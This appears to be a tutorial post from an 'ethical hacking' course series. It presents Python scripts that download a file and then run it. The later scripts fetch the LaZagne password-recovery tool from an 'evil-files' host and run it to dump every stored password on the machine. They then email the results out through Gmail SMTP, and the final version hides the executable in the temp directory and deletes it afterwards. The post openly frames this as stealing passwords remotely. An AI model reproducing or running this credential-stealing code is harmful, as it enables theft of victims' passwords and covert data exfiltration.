zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    DOWNLOAD_FILE

    • Download files on a system.
    • Once packaged properly will work on all operating systems.
    • Simple but powerfull.

    Can be used in many situations:

    • download _file + execute_command = download_and_execute
    • download_file + execute_and_report = download_execute_and_report
    • ...etc
    #!/usr/bin/env python
    import requests
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

     DOWNLOAD_EXECUTE_AND_REPORT

    • Download files on a system.
    • Execute a command that uses this file.
    • Report results in our email.
    • Cross multi-Platform!!

    Ex: remotely steal all stored passwords on a computer!

    Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne

    lazagne.exe --help

     Use the following command to find all the passwords in the current system.

     lazagne.exe all

     Steal saved passwords remotely

    #!/usr/bin/env python
    import requests
    import smtplib
    import subprocess
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)

    Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed. 

    #!/usr/bin/env python
    import os
    import smtplib
    import subprocess
    import requests
    import tempfile
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    temp_directory = tempfile.gettempdir()
    os.chdir(temp_directory)
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)
    os.remove("lazagne.exe")
    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    ARM Linux异常处理之data abort(二)【转】
    ARM Linux异常处理之data abort(一)【转】
    arm的mmu学习【转】
    使用Squashfs和Overlayfs提高嵌入式Linux文件系统可靠性【转】
    【iView】100. iView踩坑集锦
    【AOP】【Publish-Event】AOP 切面编程 + Spring的publish-event 实现 监听者模式,实现补充业务逻辑开发
    【IDEA】idea打开新项目,左下角的工作栏中没有显示Services解决办法
    【java】ObjectOutputStream & ObjectInputStream 多次写入发生重复写入相同数据的问题
    【JS】时间工具类
    【MySQL】mysql优化集锦
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11616187.html
Copyright © 2011-2022 走看看